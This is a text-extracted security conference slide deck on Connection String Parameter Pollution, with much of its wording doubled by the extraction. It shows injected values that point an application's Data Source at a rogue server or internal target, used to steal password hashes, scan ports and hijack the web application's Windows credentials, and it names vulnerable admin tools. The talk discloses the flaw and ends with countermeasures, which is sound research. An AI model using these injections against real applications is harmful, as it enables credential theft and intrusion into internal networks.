p chema alonso chema alonso inform tica 64 inform tica 64
play

p Chema Alonso Chema Alonso Informtica 64 Informtica 64 Connection - PowerPoint PPT Presentation

p Chema Alonso Chema Alonso Informtica 64 Informtica 64 Connection Strings Connection Strings Define the way an application connects to Define the way an application connects to data repository There are connection strings for:


  1. p Chema Alonso Chema Alonso Informática 64 Informática 64

  2. Connection Strings Connection Strings • Define the way an application connects to Define the way an application connects to data repository • There are connection strings for: • There are connection strings for: – Relational Databases (MSSQL, Oracle, MySQL,…) – LDAP Directories LDAP Di i – Files – Etc…

  3. Databases Connection Strings Databases Connection Strings Data Source = myServerAddress; Data Source = myServerAddress; Initial Catalog = myDataBase; Initial Catalog myDataBase; User Id = myUsername; Password = myPassword;

  4. Google Hacking Google Hacking

  5. Google Hacking Google Hacking

  6. UDL (Universal Data Links) Files UDL (Universal Data Links) Files

  7. Credentials Credentials Operating System Accounts Operating System Accounts Database Credentials Database Credentials Data Source = Data Source = myServerAddress; myServerAddress; Initial Catalog = myDataBase; Initial Catalog = myDataBase; User Id = myUsername; User Id = myUsername; Password = myPassword; Password = myPassword; Integrated Security = Integrated Security = No; SSPI/True/Yes; SSPI/True/Yes;

  8. Users autheticated by Web App Web application manages the login process 1. ‐ Web applicaton connects using its Syslogins Connection string credentials to the credentials to the database. 2. ‐ Asks user login information. i f ti Select id from users Custom 3. ‐ Checks login users table information about info stored in custom users table. Database Engine App running on Web Server

  9. Users autheticated by Database Database engine manages the login process 1. ‐ Web application asks for credentials. 2. ‐ A connection string 2 i i is composed with the credentials to connect Connection string Syslogins to the database. 3. ‐ Roles and permits are limited by the user used in the connection sed in the connection string Database Engine App running on Web Server

  10. Connection String Attacks Connection String Attacks • It´s possible to inject parameters into connection It s possible to inject parameters into connection strings using semi colons as separators Data Source = myServerAddress; I iti l C t l Initial Catalog = myDataBase; D t B Integrated Security = NO; User Id = myUsername; Password = myPassword; Encryption = Off;

  11. ConnectionStringBuiler ConnectionStringBuiler • Available in .NET Framework 2.0 • Build secure connection strings using parameters • It´s not possible to inject into the connection string

  12. Are people aware of this? Are people aware of this?

  13. Connection String Parameter Pollution Connection String Parameter Pollution • The goal is to inject parameters in the connection e goa s to ject pa a ete s t e co ect o string, whether they exist or not • Had duplicated a parameter, the last value wins • This behavior allows attackers to re ‐ write completly the connection string, therefore to manipulate the way the appliation will work and how should be the it authenticated

  14. Pollutionable Behavior Pollutionable Behavior Param1=Value A Param1=Value A Param2=Value B Param2=Value B Param1=Value C Param1=Value C Param2=Value D Param2=Value D DBConnection Object Param1 Param1 Param2

  15. What can be done with CSPP? Rewrite a parameter Data Source=DB1 Data Source=DB1 UID=sa UID=sa password=Pwnd! password=Pwnd! Data Source=DB2 Data Source=DB2 DBConnection Object DataSource DataSource UID password

  16. Scanning the DMZ Scanning the DMZ Finnacial Test Forgotten Development Database 1 Database Database Database Data Web app Source Production Production Internet I t t FW vulnerable Database to CSPP

  17. Port Scanning a Server Port Scanning a Server DataSource DataSource DB1,80 DB1,21 DB1,25 Web app Internet Production vulnerable Database FW to CSPP to CSPP DB1 1445 DB1,1445 Server

  18. What can be done with CSPP? Add a parameter dd Data Source=DB1 Data Source=DB1 UID=sa UID=sa password=Pwnd! password=Pwnd! Integrated Security=True Integrated Security=True DBConnection Object DataSource UID password password

  19. CSPP Attack 1: Hash stealing CSPP Attack 1: Hash stealing 1 ‐ Run a Rogue Server on an accessibl IP address: 1. Run a Rogue Server on an accessibl IP address: Rogue_Server 2 Activate a sniffer to catch the login process 2. ‐ Activate a sniffer to catch the login process Cain/Wireshark 3. ‐ Duplicate Data Source parameter Data_Source=Rogue_Server 4. ‐ Force Windows Integrated Authentication Integrated Security=true g y

  20. CSPP Attack 1: Robo de Hash CSPP Attack 1: Robo de Hash Data source = SQL2005; initial catalog = db1; Data source SQL2005; initial catalog db1; Integrated Security=no; user id=+’ User_Value ’+; Password=+’ Password Value ’+; Password=+ Password_Value +; Data source = SQL2005; initial catalog = db1; D t SQL2005 i iti l t l db1 Integrated Security=no; user id= ;Data S Source=Rogue_Server ; R S Password= ;Integrated Security=True ;

  21. CSSP 1:ASP.NET Enterprise Manager CSSP 1:ASP.NET Enterprise Manager

  22. CSPP Attack 2: Port Scanning CSPP Attack 2: Port Scanning 1 ‐ Duplicate the Data Source parameter setting 1. Duplicate the Data Source parameter setting on it the Target server and target port to be scanned scanned. Data_Source=Target_Server,target_Port 2 Check the error messages: 2. ‐ Check the error messages: ‐ No TCP Connection ‐ > Port is opened ‐ No SQL Server ‐ > Port is closed ‐ SQL Server ‐ > Invalid Password

  23. CSPP Attack 2: Port Scanning CSPP Attack 2: Port Scanning Data source = SQL2005; initial catalog = db1; Data source SQL2005; initial catalog db1; Integrated Security=no; user id=+’ User_Value ’+; Password=+’ Password Value ’+; Password=+ Password_Value +; Data source = SQL2005; initial catalog = db1; D t SQL2005 i iti l t l db1 Integrated Security=no; user id= ;Data S Source=Target_Server, Target_Port ; T t S T t P t Password= ;Integrated Security=True ;

  24. CSPP 2: myLittleAdmin CSPP 2: myLittleAdmin Port is Opened Port is Opened

  25. CSPP 2: myLittleAdmin CSPP 2: myLittleAdmin Port is Closed Port is Closed

  26. CSPP Attack 3: Hijacking Web Credentials CSPP Attack 3: Hijacking Web Credentials 1 ‐ Duplicate Data Source parameter to the 1. Duplicate Data Source parameter to the target SQL Server Data Source=Target Server Data_Source=Target_Server 2. ‐ Force Windows Authentication Integrated Security=true 3. ‐ Application pool in which the web app is pp p pp running on will send its credentials in order to log in to the database engine. g g

  27. CSPP Attack 3: Hijacking Web Credentials CSPP Attack 3: Hijacking Web Credentials Data source = SQL2005; initial catalog = db1; Data source SQL2005; initial catalog db1; Integrated Security=no; user id=+’ User_Value ’+; Password=+’ Password Value ’+; Password=+ Password_Value +; Data source = SQL2005; initial catalog = db1; D t SQL2005 i iti l t l db1 Integrated Security=no; user id= ;Data S Source=Target_Server ; T t S Password= ;Integrated Security=true ;

  28. CSPP Attack 3: Web Data Administrator CSPP Attack 3: Web Data Administrator

  29. CSPP Attack 3: myLittleAdmin/myLittleBackup l d / l k

  30. CSPP Attack 3: ASP.NET Enterprise Manager CSPP Attack 3: ASP.NET Enterprise Manager

  31. Other Databases Other Databases • MySQL – Does not support Integrated security – It´s possible to manipulate the behavior of the web application, although • Port Scanning • Connect to internal/testing/for developing Databases • Oracle supports integrated authority running on Windows and UNIX/Linux servers d UNIX/Li – It´s possible to perform all described attacks • Hash stealing • Port Scanning P t S i • Hijacking Web credentials – Also it´s possible to elevate a connection to sysdba in order to shutdown/startup an instance shutdown/startup an instance

  32. myLittleAdmin/myLittleBackup myLittleAdmin/myLittleBackup myLittleTools released a secury advisory and a patch about this

  33. ASP.NET Enterprise Manager ASP.NET Enterprise Manager • ASP.NET Enterprise Manager is “abandoned”, but it´s been used in a lot of web Control Panels. • Fix the code yourself Fix the code yourself

  34. ASP.NET Enterprise Manager ASP.NET Enterprise Manager • ASP.NET Enterprise Manager is “abandoned”, but it´s been used in a lot of web Control Panels been used in a lot of web Control Panels. • Fix the code yourself h lf

  35. ASP.NET Web Data Admistrator ASP.NET Web Data Admistrator ASP Web Data Administrator is secure in CodePlex web site, but not in Microsoft web site where is been published an unsecure old version

  36. Countermeasures Countermeasures • Harden your firewall a de you e a – Outbound connections • Harden your internal accounts y – Web application – Web server – Database Engine • Use ConnectionStringBuilder • Filter the ;)

  37. Questions? Questions? Contacto Chema Alonso chema@informatica64.com http://www.informatica64.com http://elladodelmal.blogspot.com Palako palakko@lateatral.com Authors Chema Alonso Manuel Fernández “The Sur” Alejandro Martín Bailón Antonio Guzmán

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend